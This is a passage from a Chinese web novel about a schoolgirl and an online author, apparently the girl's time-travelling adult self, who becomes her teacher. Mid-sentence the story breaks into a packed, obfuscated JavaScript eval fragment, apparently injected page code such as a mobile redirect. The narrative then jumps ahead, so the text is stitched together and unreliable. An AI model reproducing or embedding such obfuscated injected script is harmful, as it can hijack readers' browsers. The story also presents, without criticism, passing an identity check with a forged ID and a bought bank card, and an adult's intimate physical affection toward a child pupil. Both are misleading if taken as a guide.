最近发现了一个很合余杭清胃口的作者,写的题材都很新奇,笔触也很温柔,特别吸引人。像是量身定制似的。 给余杭清钓的欲罢不能,连上课都想着,每天都巴巴的等着更新。半夜三更不睡觉躲在被窝里偷偷摸摸的看。 像一种甜蜜的负担。 作者承诺了日更,所以等待也有了期限。而且很特别的,他每次更新都是下午六点,后来才知道那是定时发布,就显得没什么人气儿似的。 偏偏又让人觉得心安。 她从来不怕等待的,只是怕等不及。 就像那本书,等不及看那本书,就再也没有手机能看了。 第一次看那本书是用的那个妈妈充话费送的白色小手机,还没来得及看完,就四分五裂的躺在爸爸脚底了。 当时能认识这个大作家,其实是非常机缘巧合的一件事情,余杭清追书追的。很上头,偏偏又没有钱去订阅购买vip,所以在喻衍八万字入v的时候,心情复杂的写了一篇长评。 在评论里,她讲这本书目前已知的故事梗概,讲他们相遇重逢,讲女主坚韧不拔,讲作者的文笔,朝向,讲思路预测,到了后头,她才像跟什么人道歉似的讲,对不起,他是学生,没有足够的经济基础。所以没办法再接着看下去。 其实这是很正常的,她甚至是所有弃文原因里面最正常甚至是温柔的一个。 她没想到会得到这个作家的回应,因为在当时互联网还不发达的时候,能在这样的小说网站上连载并且有很多人来看的绝对算得上是十分标新立异的大作者了,要知道那时候往网站里充钱都得是去银行汇款,而且拂晓余杭平常也很少回应书粉的。 连作品的发表时间都精准固定在某一时刻,很难不让人怀疑对方是找亲友代发或者是什么其他,她并不想跟除了这个作者以外的人,说这样深刻的话,只是此刻有些忍不住时的难过。 灵魂共鸣,万中无一。 她很遗憾看不到那本书的后续。不论这账号背后的人是谁,她都希望可以让那个作者了解到,她不是无缘无故的离开,也并不是不喜欢这本书了,只是无能为力。 余杭清在作话里看到对方说过的,文手很重要的就是评论和点赞,需要有回应才能写下去。而她是她坚实的小粉丝,能够在她稀少的回应里占据相当大的一席之地。 女孩发出的每一条评论都不奢望得到回应。她的意图只是被看见,被看见就好了,让这个人知道她的书写得很好,有人能在此与她高山流水般相和应。 对方只是回应了女孩一次或是两次,点个赞勉强也算是一种回应吧,那就算两次,她只是觉得对方如果能看见的话,看到自己离开会不会伤心? 这种回应的稀少,不怪喻衍。因为她当时自己也活得足够窘迫,光是打字上传就已经耗尽了她所有力气。每个星期一的早晨和中午都会莫名其妙失去精神气。 她杭清下意识为自己喜欢的人开脱,然后毫不意外的发现有理有据,她本来就是很爱书,也爱这些看她书的人。 一个被选中点个赞就受宠若惊的人,绝对不会责怪神邸的冷淡,但是那天看到她发来的回复的时候,着实让余杭清心里捏了一把汗。 [你加我□□吧。**********,我发txt给你。] 女孩从来没觉得自己这么聪明过,迅速截了个屏,然后立马举报评论,要求*江删评。 然后手忙脚乱的打字提醒拂晓余杭,[太太,你……你这别暴露个人信息啊,我天。] [还有txt。这种原始文本内容是能随便发给别人的吗?万一被别人盗书怎么办?你本来为爱发电就不怎么赚钱。] [您的好意我心领了,但这真的没必要,我天。] 女孩觉得自己话说到这个份上,好像跟对方已经不能再有什么其他的纠葛了,显得不识好歹似的。 可是第一反应还是担心,担心那一刹那有没有其他人截了屏担心喜欢的作者现实生活会不会遭到影响?担心对方对自己这种独特的偏向,会不会让她其他的读者不开心,她有很多很多担心,几乎是霎时间浮上水面。 她总是多思善虑。 惴惴不安的等着回复,却发现对方几乎是秒回过来,[那怎么办啊?我现在想认识你。] [你把你的□□发给我好不好?] [你的评论在我创作过程中是非常重要的鼓励,你和其他人在我这里的意义是完全不一样的,就算今天你没有发出这一段话,或许哪一天我也会想要你的联系方式,然后跟你讨论我最新章节即将发布的内容,也不一定。] [我不希望你愧疚,也不希望你不安心,你已经做得足够好了,我看这边评论区他们也已经屏蔽掉在审核中了。] [另外盗书这种问题我也清楚,基本上书有一些热度之后,也确实会出现盗版的问题。我本身是认为知识无正盗的,就是不管你是看正版也好,看盗版也好,通过文字而触发的灵魂上面的东西,包括一些品质,它都是相当珍贵的,也并不会因此而受到什么影响。我希望更多人看到我的书。] [但是与此同时,我也是坚决支持正版,并且支持网站去打击这些盗版书的,我希望知识的门槛可以降低,也希望知识免费] [问题在于我们作者也是人,作者是需要吃饭的,持续要输出优质内容的同时,也要保证自己生存不受干扰的,又或者说,如果能做其他简单的工作。获得一份比写作更高的收益。又或者说有的作者还无法保障温饱的时候,盗版满天飞,替她吃尽了这些红利,作者心里怎么能平衡呢?] [我能做的只是不主动去打击这些东西,然后在它传播范围过广的时候,应网站要求,配合网站去打击,主观上它在我这儿是一个灰色地带。] [我接受那些看了盗版之后觉得我书还不错,愿意来看看正版,给我点个收藏或者补订什么的。同时深切感谢正版读者,能提供给我的这部分是文字收益。也让我的写作生涯看得到曙光。让我的物质生活能得到一点提升,有更多的时间投入到写作上去。] [这是只有正版读者能够带给我的最珍贵的宝物。] [或许解释到这里,依然有些不清不楚的感觉,但是既然说了,那就在这里感谢一下各位支持正版的宝宝们吧。你们订阅之前还要找地方汇钱进去,真的非常不容易,特别感谢你们,才让我在物质生活极度贫瘠的现在,能有力量坚持写下去。] [我能发出来的东西就是不怕别人看的,如果说存在一些经济压力,但是还是想看到小说后续的人,我认为你们生活不会永远困顿下去,看盗版或者说生活拮据只是暂时的,有原因的话,也没必要有什么心理负担。] [我既然在某江签约了,也一定遵守相关条款,给这个小姑娘的txt今天也是性情之中,以后不会再有。后续有任何惩罚,我也一力承担。] [我相信我信任的读者不会把我的vip章节传播出去,我此刻的行为也绝不是跟盗版为虎作伥。] [前面的话真的讲的太严肃了,稍微暖一暖场,既然已经晚上十一点了,那就祝小宝们今天晚上要睡好呀。] 特别特别长的一段文字。可是余杭清到现在竟然都几乎能完全背得下来。 一个明明生活拮据,完全需要文字创作这份收入的人竟然说出了这样一番话,在少年非黑即白的心里留下了浓墨重彩的一笔。 她其实是个盗版读者,完完全全盗版读者,或者看盗版的,或许完全算不上读者,反正本来就是小学生,也没有人会要求一个孩子非要充钱看什么去,完全就是浏览器上搜到哪个看哪个。 只有这本书,她在第一次搜索的时候就准确的点到了她正确的官网去。余杭清一章一章往下读,然后越读越心惊。 看书的时候最大的阻碍是她愈演愈烈的羞耻心,天生低正版读者一等。 所以总是评论,总是说一些自己也觉得矛盾奇怪的东西,总是试图用文字来证明自己在读书感悟上至少不逊于其余人,然后在心里聊以慰藉。 有时候会收获一些人的点赞,有时候极其幸运的时候,能看到那个人回她几句。算作是额外赠礼。 她突然就理解了为什么有这么多读者非看正版不可,因为想要给喜欢的作者一点支撑。因为可以在每次更新的最新章,发表自己的评论和见解。因为可以在 作者有话说里窥见另一种人生。 正版的美好不止这些。 绝对无法反驳的是,她值得。 当余杭清感受过后,至少这本书她不想再去搜盗版了。 至少护住心里此刻的净土,这片伊甸园。 她还是战战兢兢地输入了自己的□□号。那时候特别小的智能手机开网页版,打字得放得很大,一只手缩放,然后一只手打,生怕打错了。几乎是抖着手敲了快七八分钟才发出去。 不一会儿就看到□□有新朋友添加消息,是头像是一只蓝色的鱼。其实不特别的,就是安卓手机打鱼的时候出现的那条蓝色的鱼,被喻衍单独截出来做头像。 加上之后,对方也没说什么话,就是沉默的扔了一个一g多的txt。 女孩删删减减的,就着荧蓝的屏幕反光,敲了好些字发过去,也不知道对方有没有看见。总归是过了十多天才看到对面回过来几行。 连带着她平常琐碎的抱怨一起,她真的没想到对方会回自己,俨然把这里当成了个小备忘录,说自己今天发生了什么开心或是不开心。 她记得对方问自己,[你可以告诉我你网名的来历吗?我之前的一个朋友也叫这个名字。] 余杭清愣愣的,[没什么来历啊,我现实叫这个名字,网上就也叫这个名字了,反正比较少见,大家也都不认识我。] 这一次回复好像极快,好像发出去还没一分钟对方就回过来了,[你说你叫什么?你叫余杭清?!] 女孩不明就里,[我叫这个有什么问题吗?跟您的笔名有关系?]她下意识推测着,毕竟对方笔名后缀余杭实在是三个字重了两个字。对方如此激烈的反应让她不做他想。 [可以告诉我为什么吗?] 这一次对方回的好慢好慢啊,几乎等了十来分钟才看到屏幕上浮现一行字,[拂晓是天快亮的时候,当我提起笔写作的时候,一个叫余杭清的人的天就快亮了。所以叫拂晓余杭。] 不由的荣幸于和这个人同名同姓,因而得到了这份有些震惊的礼遇,可最后,那还是像情感洁癖似的,默默推远了,她不喜欢成为别人的替身,更是讨厌那种随时可以被丢弃的感觉。 这份好意不是她应该得到的,而是那个原本叫余杭清的这位作者的友人该得到的。这种偶得的东西自然也会随时失去。 这是她们在网上的最后一次交谈,因此余杭清也没想到,后来所谓的偶遇,其实是喻衍的费心筹谋。 喻衍不知道这个时空还有当时初的自己的存在,带着身体过来了,她的第一反应就是抓住时代机遇。挣点钱,做点自己想做的事儿。 在喻衍心里,她是来到了一个举目无亲的,只因小时候模糊记忆,些许熟悉的地方。 踮脚四望,举目无亲。 可是喻衍此刻听到这个熟悉的名字,连同全身的血液都开始沸腾起来了,像是被人闷头打了一棒,对啊,她怎么没有找过,她怎么没想过。这个世界有她的曾经。 她唯一的亲人,她唯一可以交付后背无条件信任的那个人,她唯一想要护到到羽翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怎么解释一个穷的要命的臭打工的,搁这儿装上阔资助上小学生了? 还是想体面一点,想当个厉害的作家或者老师什么的,能有理有据的站在父母面前,站在她身边。 余杭清不知道这些,只是在每一次得到回应时,惊喜的昂头,只是在对方看不见的地方忍不住觉得自卑,有那么多人喜欢喻衍,而余杭清甚至平庸到普通。 可是只是认识喻衍就已经很不普通了。 喻衍是作家协会的成员,当过市作文竞赛的评委,当然那次余杭清没参加。只是被喻衍兴奋的拉着去见世面的乡巴佬。 那一刻,余杭清才意识到,自己有多么幸运才能站在喻衍身边。有一个专门的座位,小小的高高的,让她可以以一个相对低的身量量做的比直,漂漂亮亮的。 她是她的拂晓,其实说的没错,如果是自己的话,遇见这个人也像是天光大亮。 参赛选手个个口若悬河,妙语连珠,念起文稿来,滔滔不绝。 毕竟,全国性的写作大赛,要知道十四亿人里万里挑一都有十四万,而她们可能是万万里挑一,能进决赛的人,个个都是人中龙凤,个中翘楚。 余杭清眼中的天骄只是见到喻衍的入场卷。甚至算不上入场券,班里有个在县里作文比赛,拿了第二名的同学,这次就没选上一直到消息,趴在课桌上哭了两节课呢。 那已经是余杭清活了十多岁,见到的写文章最好的人了。 比起她们,余杭清甚至不如最卑微的沙砾。忍不住自惭形秽的从评委陪坐席上下去,却又被人小心托起手掌牵起。她朝她偏过头来,有些安抚的低声一笑,“乖宝,别乱跑。” 喻衍温柔的鼓励着少男少女的写作梦,哪怕没有得到比较好的名次,也会有中肯的建议和提示,别人说的时候,喻衍就侧着头细心的倾听。“挺好的,你的思路很清晰唉……” 大概是为了帮助选手放松心绪,她今天扎了温柔的侧马尾,白色长裙外套了紫色的羊毛衣。几缕碎发落下来,透过阳光,漂亮的不可思议。 “你的文章写得很好,文笔也棒,不过我们可以适当优化一下这个词藻。过分优美,反倒丧失了一部分情绪的表达,你觉得呢?” 小姑娘态度很端正,穿着白衬衣,戴着红领巾,认认真真点头的样子,和余杭清印象里的好学生不谋而合。 余杭清的目光始终牢牢的锁在她身上,开始思考是不是只有这样的人才配站在喻衍身边? 直到小姑娘鞠了一躬下去,依旧想不出个一二三。 却见无人看到的角落里,她用脚勾住了她的脚踝,上下摩挲。逗得她有些痒的向旁边躲避。在底下的空白稿纸上写下两个字,推过来用指节敲出梆梆声,余杭清低头一看。 “别闹。” 像是哄小孩子似的。 余杭清有些阴暗的庆幸,重新坐上那个位置,带着志得意满的欢欣。 难得的坏情绪被人迅速捕捉处理,她投来柔光满溢的一眼,只一瞬间。雨过天晴。 极尽柔情的目光与喻衍今天的白色长裙交相辉映。却无疑让当时的余杭清看到了喻衍柔软的内里。 做着新兴的网络文学工作,留着特立独行的短发,看起来桀骜不驯的人也有一颗柔软的心。 风停雨骤,一眼万年。 所有的难堪,失落,自惭形秽,在喻衍的目光射过来的一刻就烟消云散了,像雨过天晴,太阳从乌云的缝隙里照下来,此后天光大亮。 ——————————————————— 余杭清早上睡不醒,七点五十老师要求到教室八点开始早读,余杭清七点四十还在床上赖床,但是家离学校有一段距离,所以很多时候是不吃早饭的,一觉睡到七点四十。 喻衍教英语课,所以那天早上刚好是喻衍在看早读,七点五十三分的时候,余杭清气喘吁吁的跑进了教室,额头上都是亮晶晶的汗,低头大口大口喘着气的时候,像是被书包锁了喉,忍不住往后仰去。 回头一看,已经有好些同学在讲台上扎上马步了,这是班上制定好的迟到的惩罚。 余杭清当然也自觉,将书包扔到抽屉里头就上去扎马步,等待着早读开始的命令一下,老师让余杭清拿上书站到教室的最后面去读。 喻衍让余杭清回去坐下,连同讲台上站着的那些同学一起。她甚至开始在心里暗暗妄想,这算不是算是给自己走后门呢? 余杭清惴惴不安,还有些不好意思。 教完单词之后,喻衍走到余杭清旁边敲了敲余杭清的课桌,她柔顺的长发又垂落下来了,从他的肩膀脸侧,几乎能闻到那股洗发水的柑橘香气,说出来的话却冷清不尽人意。 “下课来我办公室一趟。” 下了早读,余杭清如丧考妣,出了教室门来到喻衍的办公室,喻衍的办公桌也很有生活的感觉,旁边贴着可爱的儿童贴画儿,各班的作业摆得整整齐齐,红笔就好几个形式,甚至还有一捧散发着香气的假花。 学校门口的菜夹馍放在桌子上散发着香气,早上没吃饭的余杭清此刻已经饥肠辘辘辘。 于是看见喻衍跟余杭清使了个眼神,如同从前碰到的每一次一般,摸了摸余杭清的头,“今天迟到了,我猜你肯定没吃早餐,所以叫你过来跟我一起。” 怎么会有这样好的人呢?脑袋被摸得很舒服,忍不住踮脚,用头又蹭了蹭喻衍的手掌心。 刚意识到自己有这样幼稚的举动,余杭清立马黑了脸,带着少年人特有的傲娇跑了出去,喻衍拿上早餐小跑着跟上。 于是余杭清趴在门口的水泥护栏上,任由微凉晨风吹拂,过道里,攘攘熙熙,余杭清自归然不动,享受这份难得的宁静。 肩膀靠着肩膀,余杭清甚至能听得到喻衍咀嚼的声音。 喻老师不怪她迟到,只心疼她愈演愈烈的胃疾。 7. 第 7 章一辈子,不抛弃,不放弃 成为这缕阳光,尘埃在其中翻涌,这温柔,这飘浮在空气中的隐秘蹁跹。 光带落在喻衍的侧脸上,余杭清能看到她优越直挺的鼻梁,回头笑着看余杭清,“有没有什么忌口的?有没有什么忌口的如果没有的话,我就按照我的口味加?” 在喻衍的口吻里,她们好像有下一次。 喻衍粗糙温暖的大手在她的头上胡乱的揉着,得到她一个毫不犹豫的白眼,“没什么忌口,你加的都是我喜欢吃的,你下次要愿意带,这样就行。” 蒸的暄软的荷叶饼里夹着火腿片,豆皮,皮皮虾,土豆丝,海带,然后就没什么多余的东西了,嗯没有黄金豆,没有辣条,没有讨人厌的葱花。 一切都那么合余杭清的心意。 早晨起不来的人是不配吃早餐的。 有一个人肯日复一日的替她带,就已经遥遥领先了。 眼睛里的憧憬和希望遮掩不住,余杭清忍不住用手背去触碰女人小麦色的脸,“你是真人吗?” 喻衍忍俊不禁,“难道我是假的?” 她知道贸然对小孩太好,会让她有种受宠若惊的感觉,却没想到她的第一反应是回怀疑喻衍到底是不是真的人。 她把她的脸往前凑,让小手的骨节摁在她的颧骨和下颌线上,手陷进柔软的皮肉里,“你摸,是真的。” 余杭清的忧虑,在这柔软的肌肤中流连殆尽了,她上下摩挲着,近乎孟浪的摸着面前女人的脸。比起有些粗糙的手掌,她的脸显得柔润,暖和许多,像她想象中的女孩子一样。 “那你会替我带多久早餐?” “今天,明天,然后哪一天结束?” 小姑娘迫切的渴求着这份偏爱的期限。不想在自己毫无察觉的情况下落空。 喻衍仿佛知道她心中所想,将她手中吃完,只剩下底下有些咸的菜的塑料袋拿走,小心避开了四处流的油腻的汁,“你想吃,那就一辈子。” 她可以一辈子为我买早餐。 这个承诺让余杭清觉得有些虚妄,她很早就听过那句,我可以为你挡子弹,却不能为你买早餐。 总归是随口一说,说什么都行的,又不用负责。 喻衍看不得她漂浮着的生意,像是对这世间毫无念想。 于是快步向前把吃过的垃圾袋扔到教室后门的大垃圾桶里,又把手在大衣两侧蹭了蹭,蹭掉那点儿看不到的余油。猛的将那个人套在了自己怀里。 她能说什么呢? 我就是你? 一辈子,不抛弃,不放弃。 她不能这样讲,因为像精神病一样,会被抓起来的。她被抓起来了,她的小朋友怎么办呢? 她还这么稚嫩年幼,她的痛苦总为人所观赏。 她讨厌那些熟视无睹的目光,讨厌他们袖手旁观时平静的脸庞。 可是对方又凭什么出手相帮? 唯有自己才是永远的帮手,绝不会袖手旁观。 她们紧紧相拥,她身上凸出来的骨骼,甚至硌得她纤细绵软的腰有些疼痛。她把她抱起来,离地二十厘米,却丝毫不觉得不安。大不了一起摔倒就好。 喻衍的胃病很严重,像她妈妈。 疼起来,不管不顾的整个人直冒冷汗,就希望小姑娘的胃能好一点,尽管这玩意儿可能是打娘胎里遗传的,又或者至少环境因素导致的,可以避免一下。 好好吃饭大概是一件尽管不那么容易,依然让女人愿意费力维持的事。 “叮铃铃——”急促的上课铃声将二人分开,余杭清不得不自己跳下来,飞也似的,窜进几进教室的人群里,然后迅速找到自己的座位坐下。 喻衍看着自己猛然空了的怀抱,感受到刚刚被推开的力道。怅然若失的笑了笑。因为她看见里头小姑娘瞧着她时,有些惊魂未定的,还带着点警告的双眼。 活了这么长的岁数,还没一点儿分寸,都上课了还抱着人家不放,怪不得会被小姑娘瞪。 喻衍嘲笑自己的幼稚。 阳光带着尘埃飞舞。落在她侧脸上,明明暗暗的随着风晃。 她的下一个目标是买一间房。 一间可以让余杭清的父母心甘情愿把她交到自己手上的房。 尽管现在已经不再是他们的孩子了,可是女人依然有种奇怪,独特的,需要被认可的情绪。 她站在窗外,看着里头书声朗朗。看着小姑娘极力坐得端正,把目光紧紧锁在老师身上。 有些好笑的看着对方,好像赌气似的强硬的跟自己展示自己上课有多认真,偏偏喻衍清楚那张好学生皮子底下藏着怎样的淘气过往。 又欣慰,又高兴,还带了点儿忍俊不禁的喜欢。 人总是想给喜欢的人留下好印象。 小姑娘如竹般端正的坐姿,展现着她对她的向往。 喻衍摇了摇头,随后走到了走廊尽头,回到了办公室,取下那张粉红色的便签,打开英语竞赛的官方报名网站。 她替小余杭清填好了所有的个人信息,敲的键盘噼里啪啦的响。 途中有老师经过时时瞧着她的背影,诧异她填学生的信息怎么没有学生填好交过来的表。调侃她,“你就这么填了,小心到时候填错了,人家学生找你。还是让学生填个表划算,照着打上去就行。” 喻衍笑了笑,那双如出一辙的眼睛眯起。那位老师突然意识到她和那个小姑娘长得如此相像。 “我们俩家里是亲戚,都认识,比较熟,所以能填的就替她先填了,也给孩子减轻点工作量。” 要填的信息繁琐杂碎,喻衍就一点一点的填充上去。一边填充,一边拷打自己依稀模糊的回忆。 最最亲密的人竟然也成了远房亲戚。 大课间二十分钟的时候。眼保健操的铃声响起,喻衍不得不去教室敲了敲那扇不锈钢刷着红漆的门。 看见小姑娘装模作样紧闭着的眸子,猛然绽出惊人的光亮,然后一路小跑着跟自己进了办公室。“怎么了?姐姐,有事叫我吗?!” 小手自然的握着她的食指和无名指,像小船漂在水面似的晃呀晃。 喻衍忍不住憋出格外严肃的神色,装出一副严师的样子苛责她。“让你写的征文写了没有?我把信息填好了,准备给你上传。” 小狗走在路上好好的,忽然被人踹了一脚。有些惊诧地抬起头破口大骂。“什么征文?你什么时候让我写的征文?!” 平心而论,她这样胆怯的人是不敢跟任何一位老师对着干的。 可是她不是作为老师认识喻衍的。 她认识的喻衍是对她无限纵容的姐姐。 被纵容的小妹妹自然应该恃宠而骄。 喻衍恶作剧的心愈演愈烈,吓唬她似的拧了她的耳朵,手放上去,却捏在软和柔韧的耳垂上。上下左右来回的转,偏偏舍不得用一点力气,只剩下点酥麻的痒。“我跟你妈妈说了,英语竞赛的征文,对你以后升学很有帮助。你妈妈肯定告诉你了。” 喻衍确定以及肯定这一点,她清楚张女士的作风,这样对孩子学习有利的事,一定不会推辞。 而且还会大催特催,毕竟生出了这这个极端拖延症的倒霉孩子。 羞窘一下子从小姑娘的面皮底下爬了上来。以至于脖子耳侧,整张脸都红透了。她结结巴巴的,伸手去追对方抽出的手指。“姐姐,我错了,你救救我,别告诉我妈妈……” 声音被她压得含糊不清,明明没哭,却总要酿着几丝哭腔,跟谁撒娇似的。“我跟她说我写了的,她一定会打我。” 喻衍当然不会告诉她的母亲。 可她还是吓她。尽量绷着冷硬的神色,给她下了最后通牒。“今天放学之前交给我,不然没办法正常参赛,久久不出结果,你妈妈肯定会知道。” 喻衍很少对着她有这么冷硬的神色,她总是温和包容,像是没一点脾气似的。 余杭清似乎也意识到这件事的重要性,眼泪啪嗒一声,砸在对方递出稿纸的手背上。只是含糊不清的应了一声。 “嗯。” 小姑娘的眼泪砸下来就在喻衍的心上落出一个坑。 她不该吓她的。 她还这样小,这样稚嫩 可话已经说出去了。只好把小姑娘拉进自己怀里抱着。“乖乖,别怕,别怕。” 她知道自己今天这样吓她一遭,小姑娘一定能按时交上来稿。她会不管上课还是下课,上面讲的什么课,一心一意只写这个稿,哪怕被老师抓到,撕个干净,也会固执的重新下笔。 她清楚她,就像清楚自己身体的每一块骨骼。 她的宝贝骄傲自负。要强从不肯示弱,以至于只要任务交到了她手上,就非完成不可的境地。 她没想着掰正她尽管知道这样做不对,对讲台上的老师不够尊重。对她的学业没有任何帮助。 可她只要不是天天这么干,好像也无伤大雅,她的宝贝有自己的生存方式。 可以在繁重的学业压力下,抽丝剥茧的撬出一点儿微弱的光留给自己,把心头点亮。 这是再好不过的事情。 总差不过交不起作业被老师打了手板发在微信群里,等家长来领,然后劈头盖脸一顿骂,晚上哭着补回去。 喻衍强行把自己的目光投注在电脑屏幕上,一心一意注册着网店,然后大动肝火的跟提供货源的商家扯皮。 到现在都有些心有余悸的程度,好在是先找了店小二跟平台商量入住,流程就走个过场,才让她那张拙劣的身份证以及广东随便买的银行卡,含糊混过去。 人脸认证的时候,心几乎提到了嗓子眼儿,可是不知道为什么竟然还真刷过去了。 她不能放任自己自怜,毫不犹豫的担心,甚至于要把那个时候的自己放在蚕丝里,整一个结成茧护起来。 那不可以。 如果自己有朝一日离开,那样的娇花一定活不下去。 她要她肆无忌惮的生长,把根扎在地面上,即使歪斜扭曲,也变成一棵奇形怪状的树,牢牢扒在地面上。 又忍不住触摸她被风吹出的伤。 小心翼翼的撒上药粉,又用绷带一圈一圈缠过去,愤恨穿堂而去的风,不长眼睛。 电脑反射出来的莹莹蓝光,透过眼镜折射到眼底,文字一点点变得模糊,她终于肯放纵自己低下头,一头扎进键盘里睡了过去。脸上是安详静谧的笑意。 这个时候开网店算是时代趋势,她渴盼自己赚得到钱,然后给小家伙一个还算富庶的生活环境。 等以后英语教的久一点儿,再进修进修就去做跨境电商,正是萌芽的时候,增量市场最好做,甚至可以像晚上拍的那种视频一样,onedollartwodollar,或许就卖得出去。 这也是所有科目之中,她为什么偏偏选中了英语。 那个时候找货源靠幺六八八推广,靠朋友圈,微商发展的如火如荼,正巧拂晓余杭认识的人多,也就让她占尽了便宜。 省去了微商人最头疼的地推这一环。 突然想起那时候,妈妈早期参加的动力商城,也就是这种线上商城,跟淘宝性质差不多,在微信上干得如火如荼,尽管后面也淹没在时代的潮流里了,但不得不说,她的商业敏锐度是很高的。 那时候小姑娘第一次知道地推这个东西,就是妈妈的下级代理拿着妈妈的名字印了横幅出去地推。 余杭清好奇的指着上面的“张颐”问她,“妈妈,地推是干嘛?那他们为啥不用自己的名字用你的呀?” 女人在忙自己的事情,而且那段时间刚生了最小的妹妹,身体状况也不大好,头也不回的甩她一句,“就差不多线下推广了,小孩子不用管这些。” 那时候妈妈真的很忙,忙到好像都没有精力多看她一眼。 妈妈的精力落在什么地方,余杭清的恨和自己也就落在什么地方,她恨过她当时做的那个动力商城,也恨过刚出生的妹妹。 那时候她在商城上买了好大一袋装饰气球,绑在出租屋的小房子里,童真可爱,费了好多心思,绑在那种绳子上,绳子一扯,气球就一摇一摇的晃逗的妹妹咯咯笑。 身体不舒服还忙着工作,有空就睡觉啊,怎么还有时间跟她玩呢? 小孩子总不愿意承认自己心里那点纯然的嫉妒。 其实爱也没用,恨也没用,只是窝窝囊囊的哭。 只是拼命的在心里警告自己不要产生恶意,警告自己妹妹是被送出去又抱回来的,警告换掉的羊奶粉,让一个可怜的小女孩上吐下泻了好几天。 她并不觉得妈妈能对一个差点被送给人家养的女孩有什么很重的爱意。 可是小妹妹又是妈妈,硬要抱回来的,大晚上开着车追到了别人家。 闹了好大一个乌龙,在作文课连着的两节上手写了四张还是五张,完完全全的讨妈檄文。一边写一边掉眼泪,忍都忍不住。给语文老师都惊着了,后面要参加作文比赛的时候还特意来看她交的作品。 问题是那一期征稿的主题是感恩父母啊,别人在感恩父母的时候,你在指责母亲不够爱你,收到稿纸的时候都懵了。 可是情绪一旦过去真的要写,交到作文比赛的作品的时候,就会照着人家收稿的要求,稍微侧一点什么写母亲含辛茹苦啊写她够了我的腰背爬上眼角的皱纹,散落的白头发呀。 只觉得假,写着写着把自己都写笑了。 她妈那会儿正是风华正茂的时候啊,漂亮的很,唇红齿白的,烫着那种绿色的大卷波浪,夏天会穿那种长款的翠绿色的的裙子,外头搭一件白色小罩衫儿,完全是雷厉风行,带有攻击性的漂亮。 什么白发啊,什么皱纹什么够了哦,就这么说吧,弯腰驼背那都是她妈要给她纠正的问题。 不但什么都写不出来,写着写着都能给自己写笑了。 所以那个征文竞赛余杭清没获奖,甚至写得非常的糟糕,抽象,人强行挤出来的东西和自发创造出来的,真的完全不一样。 挺丢脸的,因为老师真的给她抱了蛮大的,希望那个女老师人很好,戴着眼镜有点严肃的样子,在余杭清写的时候,在她座位边转了好几圈儿。是真的很关心的样子,甚至把周围同学的好奇心都完全吊起来了。 可是真写了的那部分不能给看,胡编乱造的这一部分更是一个漂移悬浮写的跟,总之就是很烂的东西一样。 是让喻衍到现在都有点记忆犹新的小时候的可爱。 虽然最后拿到作文纸的时候,真的完全觉得天塌了,也怪她不认真听讲,但是没招了,老师把名额给了,那哪好意思拒绝呢?只能硬着头皮上。 余杭清就是这么一个人,很难接受自己,辜负掉别人的希望。 喻衍后来听说这件事的时候,贼眯兮兮的去教室抽兜里偷过她的作文本,看到上面的泪痕,有些啼笑皆非,拿手机拍了好几张,没舍得发出去,整了个仅自己可见的朋友圈,笑得不可自抑。 “原来那时候那么幼稚啊,还寻思情感,可充沛了,气的直哭,实际上就是车轱辘话来回讲,也不知道是怎么写了这那么多字。” 想了想又觉得挺正常的,那时候她妈就是太阳,生活里所需要的爱和阳光都是她给的,情绪跟着妈妈走很正常。 作文本上显示的泪痕结成微微泛白的眼睛,伸手摸上去是那种沾过水的纸风干之后的,有点冰凉的触感。 喻衍把照片缩印下来,放在自己衬衫胸前的口袋里,左边胸膛,把珍贵的眼泪藏在靠近心脏的地方。 天知道,余杭清知道这件事的时候怎么想?说是悄咪咪,实际上老师进班了,这种事儿,再怎么样也是大张旗鼓,小姑娘体育课一回班就听到同学跟自己讲,“刚刚英语老师在咱们班了,你猜怎么着?她把你语文作业拿走了。” 小姑娘不语,只一味苦笑,“作文本吧,应该是草稿作文本,她直接只找语文老师要去看了。” 对于这种行径,余杭清已经习以为常,这家伙也不知道为什么,特别爱看她的作文。写的好也看,写的烂也看,虽然大多数时候写的烂,全是老师给的命题作文,东边捏捏,西边挠挠,再在作文书上抄一抄模板,自己原创的内容不超过一百五十个字。 但有人就像是得了什么宝贝似的,一学期结束准备扔的时候,她还专门来要。 比她妈还关心。 那种命题作文还没什么好怕的,反正大家写的都差不多了,完全算不上什么隐私,要能写的好一点,被老师放到其她班传阅那才是荣光呢。 但今天这本真不一样,搁那大吐苦水,还是没什么意义的苦水,让对方瞧见可就真丢了脸了。 很显然,去的时候对方已经看完了,因为余杭清看到她胸前的打印出来的照片儿。 这人偷偷拿自己作文回去看,看到正主过来的时候竟然一点也不害臊。 笑的跟朵花似的,招手把她往过叫,“乖宝来啦,我刚看完你作文,照片都拍好了,你看你是自己拿回去还是?” 不是她借来看也应该放回原位吧,余杭清只能这么窝囊的想。 余杭清不想让别人觉得自己是幼稚没用的小孩。于是本能的不想计较什么。伸手把作文本拿过来拿走,脱离桌面的一瞬间,还有些升起的小小拍了一下,发泄一下怒意。 喻衍抹着护手霜,看她拍一下又笑,“生气啦?宝宝。” 一小兜零食被她从底下抽屉里拽出来,悄悄塞在小姑娘手里,“不气了好不好?今天我给你买的零食到啦。” 小姑娘就很乖,觉得不气了,她懂得见好就收,懂的家长还愿意花时间哄她的时候很快接受。“好吧,那就勉强原谅你了。” 一个长久对她好的人,要哄她的时候会变得格外容易。 甚至都用不着哄,一点点微弱的好意,就能让余杭清很快原谅所有的不满意。 她到现在都还记得某一次,不知道是什么原因挨了妈妈的打,打第二下,还是第三下的时候躲过去,然后碰到了旁边的暖壶碎片落了一地热水从里面炸开来,可是她没受一点伤,因为妈妈牵住她的手把她拉起来了。 在暖壶炸开的那一瞬间,她没伸手去扶摇倒的暖和,而是牵住了她的手。 她问过她为什么?或许问了又或许没问,只是突然想到一句话,只是生气了,又不是不爱你了。 于是后来妈妈的所有打骂她都悉数照单全收。 她可以带着伤痛继续爱她。 只因为这小小的一个动作。 只因为她猜测她爱她。 没人在意她的情绪,也没人哄她,她就自己收拾好伤疤,接着上路。 有人在乎了,她就像被浇灌在温室里的花小小发发脾气,长点温吞的尖刺,出来也不扎人,就是有时候软软乎乎的,戳一下,弄得喻衍心里软软的。 